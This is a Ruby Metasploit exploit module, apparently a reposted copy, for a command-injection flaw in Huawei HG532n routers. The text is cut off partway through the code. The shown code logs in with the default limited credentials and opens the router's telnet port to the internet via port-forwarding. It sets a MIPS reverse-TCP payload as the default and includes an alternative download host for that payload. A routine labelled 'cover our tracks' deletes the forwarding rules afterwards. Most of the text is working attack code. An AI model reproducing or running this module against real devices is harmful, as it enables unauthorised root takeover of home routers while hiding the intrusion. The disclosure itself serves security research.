Huawei HG532n Command Injection
Posted on 17 April 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info( info, 'Name' => 'Huawei HG532n Command Injection', 'Description' => %q( This module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command. ), 'Author' => [ 'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' }, 'Targets' => [ [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2017' )) register_options( [ OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) ], self.class ) end def check httpd_fingerprint = %r{ A HTTP/1.1s200sOK CACHE-CONTROL:sno-cache Date:s.* Connection:sKeep-Alive Content-Type:stext/html Content-Length:sd+ <html> <head> <METAshttp-equiv="Content-Type"scontent="text/html;scharset=UTF-8"> <METAshttp-equiv="Pragma"scontent="no-cache"> <METAshttp-equiv="expires"sCONTENT="-1"> <linksrel="icon"stype="image/icon"shref="/favicon.ico"/> }x begin res = send_request_raw( 'method' => 'GET', 'uri' => '/' ) rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Could not connect to device") return Exploit::CheckCode::Unknown end if res && res.code == 200 && res.to_s =~ httpd_fingerprint return Exploit::CheckCode::Appears end Exploit::CheckCode::Unknown end # # The Javascript code sends all passwords in the form: # form.setAction('/index/login.cgi'); # form.addParameter('Username', Username.value); # form.addParameter('Password', base64encode(SHA256(Password.value))); # Do the same base64 encoding and SHA-256 hashing here. # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) Base64.encode64(sha256).gsub(/s+/, "") end # # Without below cookies, which are also sent by the JS code, the # server will consider even correct HTTP requests invalid # def generate_web_cookie(admin: false, session: nil) if admin cookie = 'FirstMenu=Admin_0; ' cookie << 'SecondMenu=Admin_0_0; ' cookie << 'ThirdMenu=Admin_0_0_0; ' else cookie = 'FirstMenu=User_2; ' cookie << 'SecondMenu=User_2_1; ' cookie << 'ThirdMenu=User_2_1_0; ' end cookie << 'Language=en' cookie << "; #{session}" unless session.nil? cookie end # # Login to the router through its JS-based login page. Upon a successful # login, return the keep-alive HTTP session cookie # def web_login cookie = generate_web_cookie(admin: true) # On good passwords, the router redirect us to the /html/content.asp # homepage. Otherwise, it throws us back to the '/' login page. Thus # consider the ASP page our valid login marker invalid_login_marker = "var pageName = '/'" valid_login_marker = "var pageName = '/html/content.asp'" username = datastore['HttpUsername'] password = datastore['HttpPassword'] res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/login.cgi', 'cookie' => cookie, 'vars_post' => { 'Username' => username, 'Password' => hash_password(password) } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end return res.get_cookies if res.body.include? valid_login_marker if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") end end # # The telnet port is filtered by default. Expose it to the outside world # through NAT forwarding # def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) external_telnet_port = rand(32767) + 32768 portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" invalid_port_export_marker = /var ErrInfo = d+/ res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/addcfg.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', 'RequestFile' => portmapping_page }, 'vars_post' => { 'x.PortMappingProtocol' => "TCP", 'x.PortMappingEnabled' => "1", 'x.RemoteHost' => "", 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, 'x.InternalClient' => "192.168.1.1", 'x.InternalPort' => "23", 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end if res.body.include? valid_port_export_marker print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" return external_telnet_port end if res.body.match? invalid_port_export_marker fail_with(Failure::Unknown, "Router reported port-mapping error. " "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") end # # Cover our tracks; don't leave the exposed router's telnet port open # def hide_exposed_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) portmapping_page = '/html/application/portmapping.asp' # Gather a list of all existing ports forwarded so we can purge them soon res = send_request_cgi( 'method' => 'GET', 'uri' => portmapping_page, 'cookie' => cookie ) unless res && res.code == 200 print_warning "Could not get current forwarded ports from web interface" end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping.d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| vars_post[key] = "" end res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/del.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'RequestFile' => portmapping_page }, 'vars_post' => vars_post ) return if res && res.code == 200 print_warning "Could not re-hide exposed telnet port" end # # Cleanup our state, after any successful web login. Note: router refuses # more than 3 concurrent logins from the same IP. It also forces a 1-minute # delay after 3 unsuccessful logins from _any_ IP. # def web_logout(session_cookies) cookie = generate_web_cookie(admin: true, session: session_cookies) res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/logout.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } ) return if res && res.code == 200 print_warning "Could not logout from web interface. Future web logins may fail!" end # # Don't leave web sessions idle for too long (> 1 second). It triggers the # HTTP server's safety mechanisms and make it refuse further operations. # # Thus do all desired web operations in chunks: log in, do our stuff (passed # block), and immediately log out. The router's own javescript code handles # this by sending a refresh request every second. # def web_operation begin cookie = web_login yield cookie ensure web_logout(cookie) unless cookie.nil? end end # # Helper method. Used for waiting on telnet banners and prompts. # Always catch the ::Timeout::Error exception upon calling this. # def read_until(sock, timeout, marker) received = '' Timeout.timeout(timeout) do loop do r = (sock.get_once(-1, 1) || '') next if r.empty? received << r print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true return received if received.include? marker end end end # # Borrowing constants from Ruby's Net::Telnet class (ruby license) # IAC = 255.chr # "377" # "xff" # interpret as command DO = 253.chr # "375" # "xfd" # please, you use option OPT_BINARY = 0.chr # "